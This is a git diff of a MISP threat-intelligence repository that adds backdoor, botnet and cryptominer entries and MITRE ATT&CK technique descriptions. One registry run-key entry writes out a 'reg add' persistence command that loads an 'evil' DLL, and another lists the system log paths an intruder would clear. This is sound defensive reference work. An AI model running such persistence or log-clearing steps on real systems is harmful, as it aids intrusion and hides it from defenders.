diff --git a/README.md b/README.md index 5a45dbf..fc597f0 100644 --- a/README.md +++ b/README.md @@ -31,23 +31,18 @@ to localized information (which is not shared) or additional information (that c - [clusters/threat-actor.json](clusters/threat-actor.json) - Adversary groups - Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. MISP - [clusters/tool.json](clusters/tool.json) - tool is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries. -- [clusters/mitre-attack-pattern.json](clusters/mitre-attack-pattern.json) - Attack Pattern - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v1.0 -- [clusters/mitre-course-of-action.json](clusters/mitre-course-of-action.json) - Course of Action - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v1.0 -- [clusters/mitre-intrusion-set.json](clusters/mitre-intrusion-set.json) - Intrusion Set - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v1.0 -- [clusters/mitre-malware.json](clusters/mitre-malware.json) - Malware - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v1.0 -- [clusters/mitre-tool.json](clusters/mitre-tool.json) - Tool - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v1.0 +- [clusters/mitre-attack-pattern.json](clusters/mitre-attack-pattern.json) - Attack Pattern - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 +- [clusters/mitre-course-of-action.json](clusters/mitre-course-of-action.json) - Course of Action - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 +- [clusters/mitre-intrusion-set.json](clusters/mitre-intrusion-set.json) - Intrusion Set - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 +- [clusters/mitre-malware.json](clusters/mitre-malware.json) - Malware - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 +- [clusters/mitre-tool.json](clusters/mitre-tool.json) - Tool - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 -- [clusters/mitre-enterprise-attack-attack-pattern.json](clusters/mitre-enterprise-attack-attack-pattern.json) - Attack Pattern - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Enterprise Attack -- [clusters/mitre-enterprise-attack-course-of-action.json](clusters/mitre-enterprise-attack-course-of-action.json) - Course of Action - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Enterprise Attack -- [clusters/mitre-enterprise-attack-intrusion-set.json](clusters/mitre-enterprise-attack-intrusion-set.json) - Intrusion Set - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Enterprise Attack - Malware - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Enterprise Attack -- [clusters/mitre-enterprise-attack-tool.json](clusters/mitre-enterprise-attack-tool.json) - Tool - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Enterprise Attack -- [clusters/mitre-mobile-attack-attack-pattern.json](clusters/mitre-mobile-attack-attack-pattern.json) - Attack Pattern - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Mobile Attack -- [clusters/mitre-mobile-attack-course-of-action.json](clusters/mitre-mobile-attack-course-of-action.json) - Course of Action - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Mobile Attack -- [clusters/mitre-mobile-attack-intrusion-set.json](clusters/mitre-mobile-attack-intrusion-set.json) - Intrusion Set - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Mobile Attack -- [clusters/mitre-mobile-attack-malware.json](clusters/mitre-mobile-attack-malware.json) - Malware - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Mobile Attack -- [clusters/mitre-mobile-attack-tool.json](clusters/mitre-mobile-attack-tool.json) - Tool - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Mobile Attack -- [clusters/mitre-pre-attack-attack-pattern.json](clusters/mitre-pre-attack-attack-pattern.json) - Attack Pattern - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Pre Attack -- [clusters/mitre-pre-attack-intrusion-set.json](clusters/mitre-pre-attack-intrusion-set.json) - Intrusion Set - MITRE Adversarial Tactics, Techniques & Common Knowledge (ATT&CK) - v2.0 Pre Attack +- [clusters/mitre-ics-assets.json](clusters/mitre-ics-assets.json) - ICS Assets - A list of asset categories that are commonly found in industrial control systems. +- [clusters/mitre-ics-groups.json](clusters/mitre-ics-groups.json) - ICS Groups - Groups are sets of related intrusion activity that are tracked by a common name in the security community. +- [clusters/mitre-ics-levels.json](clusters/mitre-ics-levels.json) - ICS Levels - Based on the Purdue Model to aid ATT&CK for ICS users to understand which techniques are applicable to their environment. +- [clusters/mitre-ics-software.json](clusters/mitre-ics-software.json) - ICS Software - Software is a generic term for custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK for ICS. +- [clusters/mitre-ics-tactics.json](clusters/mitre-ics-tactics.json) - ICS Tectics - A list of all tactics in ATT&CK for ICS. +- [clusters/mitre-ics-techniques.json](clusters/mitre-ics-techniques.json) - ICS Techniques - A list of Techniques in ATT&CK for ICS. - [clusters/sectors.json](clusters/sectors.json) - Activity sectors - [clusters/cert-eu-govsector.json](clusters/cert-eu-govsector.json) - Cert EU GovSector diff --git a/clusters/backdoor.json b/clusters/backdoor.json index ab3d1cd..7ac2b34 100644 --- a/clusters/backdoor.json +++ b/clusters/backdoor.json @@ -118,7 +118,17 @@ ], "uuid": "201e8794-a93b-476f-9436-1dd859c6e5d9", "value": "Speculoos" + }, + { + "description": "Mori Backdoor has been used by Seedworm.", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east" + ] + }, + "uuid": "e663ac1b-9474-4f9a-b0c8-184861327dd7", + "value": "Mori Backdoor" } ], - "version": 8 + "version": 9 } diff --git a/clusters/botnet.json b/clusters/botnet.json index df6f412..cc85c70 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1169,7 +1169,19 @@ }, "uuid": "e23d0f90-6dc5-46a5-b38d-06f176b7c601", "value": "Arceus" + }, + { + "description": "Mozi infects new devices through weak telnet passwords and exploitation.", + "meta": { + "refs": [ + "https://blog.netlab.360.com/mozi-another-botnet-using-dht/", + "https://threatpost.com/mozi-botnet-majority-iot-traffic/159337/", + "https://securityintelligence.com/posts/botnet-attack-mozi-mozied-into-town/" + ] + }, + "uuid": "ea2906a5-d493-4afa-b770-436c0c246c78", + "value": "Mozi" } ], - "version": 21 + "version": 22 } diff --git a/clusters/cryptominers.json b/clusters/cryptominers.json new file mode 100644 index 0000000..394ebc1 --- /dev/null +++ b/clusters/cryptominers.json @@ -0,0 +1,48 @@ +{ + "authors": [ + "Cisco Talos", + "raw-data" + ], + "category": "Cryptominers", + "description": "A list of cryptominer and cryptojacker malware.", + "name": "Cryptominers", + "source": "Open Source Intelligence", + "type": "malware", + "uuid": "d7dd3f0c-de73-4148-a786-f8ad3661d293", + "values": [ + { + "description": "The infection starts with a PowerShell loading script, which is copied from other infected systems via SMB, email or external USB drives. The actor also employs several exploits for vulnerabilities such as SMBGhost and Eternal Blue.", + "meta": { + "refs": [ + "https://blog.talosintelligence.com/2020/10/lemon-duck-brings-cryptocurrency-miners.html", + "https://success.trendmicro.com/solution/000261916", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/spam/3697/spammers-use-covid19-to-spread-lemon-duck-cryptominer", + "https://cyberflorida.org/threat-advisory/lemon-duck-cryptominer/" + ], + "synonyms": [], + "type": [ + "cryptojacker" + ] + }, + "uuid": "fa9cbe22-0ef7-4fbd-8a33-ce395eaa6df9", + "value": "Lemon Duck" + }, + { + "description": "WannaMine is a cryptojacker that takes advantage of EternalBlue.", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/?utm_campaign=dsa&utm_content=us&utm_medium=sem&utm_source=goog&utm_term=&gclid=EAIaIQobChMIjrayysrX7AIVFUWGCh3sQApKEAAYASAAEgIE6_D_BwE", + "https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/", + "https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry" + ], + "synonyms": [], + "type": [ + "cryptojacker" + ] + }, + "uuid": "20e563b0-f0c9-4253-aedd-a4542d6689ed", + "value": "WannaMine" + } + ], + "version": 1 +} diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json index ed6a3c7..0e3753f 100644 --- a/clusters/mitre-attack-pattern.json +++ b/clusters/mitre-attack-pattern.json @@ -79,6 +79,37 @@ "uuid": "ee40d054-6e83-4302-88dc-a3af98821d8d", "value": "Analyze social and business relationships, interests, and affiliations - T1295" }, + { + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [.bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", + "meta": { + "external_id": "T1222.002", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1222/002", + "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100", + "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" + ] + }, + "related": [ + { + "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "type": "subtechnique-of" + } + ], + "uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", + "value": "Linux and Mac File and Directory Permissions Modification - T1222.002" + }, { "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)", "meta": { @@ -339,7 +370,7 @@ "value": "Compromise 3rd party infrastructure to support delivery - T1334" }, { - "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)", "meta": { "external_id": "T1385", "kill_chain": [ @@ -478,6 +509,71 @@ "uuid": "0c592c79-29a7-4a94-81a4-c87eae3aead6", "value": "Common, high volume protocols and software - T1321" }, + { + "description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ", + "meta": { + "external_id": "T1048.001", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Malware reverse engineering", + "Network protocol analysis", + "Netflow/Enclave netflow", + "Packet capture", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1048/001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "type": "subtechnique-of" + } + ], + "uuid": "79a4052e-1a89-4b09-aea6-51f1d11fe19c", + "value": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001" + }, + { + "description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ", + "meta": { + "external_id": "T1048.002", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Netflow/Enclave netflow", + "Packet capture", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1048/002", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "type": "subtechnique-of" + } + ], + "uuid": "8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", + "value": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002" + }, { "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)", "meta": { @@ -541,11 +637,12 @@ "value": "Identify vulnerabilities in third-party software libraries - T1389" }, { - "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "meta": { "external_id": "CAPEC-270", "kill_chain": [ - "mitre-attack:persistence" + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" ], "mitre_data_sources": [ "Windows Registry", @@ -554,6 +651,214 @@ "mitre_platforms": [ "Windows" ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/001", + "https://capec.mitre.org/data/definitions/270.html", + "http://msdn.microsoft.com/en-us/library/aa376977", + "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "value": "Registry Run Keys / Startup Folder - T1547.001" + }, + { + "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n", + "meta": { + "external_id": "T1070.002", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1070/002", + "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/" + ] + }, + "related": [ + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "type": "subtechnique-of" + } + ], + "uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", + "value": "Clear Linux or Mac System Logs - T1070.002" + }, + { + "description": "An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.", + "meta": { + "external_id": "T1098.003", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Office 365 audit logs" + ], + "mitre_platforms": [ + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1098/003", + "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d", + "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide" + ] + }, + "related": [ + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "type": "subtechnique-of" + } + ], + "uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", + "value": "Add Office 365 Global Administrator Role - T1098.003" + }, + { + "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ", + "meta": { + "external_id": "T1195.001", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Web proxy" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1195/001", + "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets" + ] + }, + "related": [ + { + "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "type": "subtechnique-of" + } + ], + "uuid": "191cc6af-1bb2-4344-ab5f-28e496638720", + "value": "Compromise Software Dependencies and Development Tools - T1195.001" + }, + { + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", + "meta": { + "external_id": "T1222.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows event logs", + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1222/001", + "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100", + "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110", + "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces", + "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists", + "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/" + ] + }, + "related": [ + { + "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "type": "subtechnique-of" + } + ], + "uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", + "value": "Windows File and Directory Permissions Modification - T1222.001" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.", + "meta": { + "external_id": "CAPEC-capec", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/007", + "https://capec.mitre.org/data/definitions/capec.html" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": 